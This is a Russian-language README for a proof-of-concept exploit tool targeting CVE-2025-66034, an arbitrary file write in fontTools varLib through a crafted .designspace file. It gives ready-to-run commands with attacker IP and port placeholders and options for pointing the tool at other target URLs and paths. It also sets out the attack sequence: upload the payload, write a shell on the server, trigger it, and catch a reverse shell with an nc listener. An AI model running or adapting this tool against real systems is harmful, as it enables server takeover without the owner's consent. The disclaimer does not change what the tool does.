Эксплойт fontTools varLib CVE-2025-66034

Этот репозиторий не содержит новой уязвимости.

Это proof-of-concept эксплойт для CVE-2025-66034, затрагивающий конвейер генерации переменных шрифтов fontTools varLib.

Уязвимость позволяет атакующим контролировать имя выходного файла внутри специально созданного файла .designspace. При обработке уязвимым сервисом генерации шрифтов это может привести к произвольной записи файлов в файловой системе сервера.

Скрипт varlib_cve_2025_66034.py автоматизирует создание полезной нагрузки, генерацию шрифтов, загрузку и опциональный запуск шелла.

Возможности

• Автоматическое создание совместимых мастер-шрифтов с помощью fontTools
• Генерация случайного имени файла для шелла
• Настраиваемый целевой путь и конечная точка загрузки
• Автоматический слушатель nc
• Не требуется ручная подготовка шрифтов

Требования

Python 3.9+

Установите зависимости:

pip install fonttools requests

Для слушателя требуется Netcat:

Использование

Если ваша цель — автономная лаборатория на mysite.com, а путь загрузки, путь записи в файловую систему и веб-доступный путь запуска соответствуют значениям по умолчанию в скрипте, вы можете запустить его напрямую.

Базовое использование:

python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>

Скорее всего, целевая система использует другие URL или пути файловой системы. Переопределите значения по умолчанию с помощью доступных параметров ниже, таких как --url, --path и --trigger, или измените скрипт вручную.

Примечание: имена полей multipart-загрузки могут различаться в зависимости от окружения. Если целевая система не использует те же имена полей формы, что и скрипт, отрегулируйте их в разделе files перед запуском эксплойта.

Параметры

Пример с собственными параметрами:

python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com

Порядок работы эксплойта

1. Создать совместимые мастер-шрифты
2. Создать вредоносный файл .designspace
3. Загрузить полезную нагрузку через multipart POST
4. Записать произвольный файл на сервере
5. Запустить полезную нагрузку через HTTP-запрос

Благодарности

Особая благодарность и уважение:

• Сопровождающим и контрибьюторам проекта fontTools за их работу над библиотекой fontTools с открытым исходным кодом.
• Исследователям безопасности, которые обнаружили и ответственно раскрыли CVE-2025-66034.
• Сообществу специалистов по безопасности с открытым исходным кодом за документирование и анализ уязвимостей, которые помогают улучшить безопасность программного обеспечения.

Данный proof-of-concept предоставлен в образовательных и исследовательских целях, чтобы помочь понять уязвимость и её влияние.

Отказ от ответственности

Этот код предоставлен только для образовательных и исследовательских целей.

Не используйте этот эксплойт против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим программным обеспечением.

Ссылки

• CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2025-66034
• GitHub Advisory: https://github.com/advisories/GHSA-768j-98cg-p3fv
• Проект fontTools: https://github.com/fonttools/fonttools
• Документация fontTools: https://fonttools.readthedocs.io/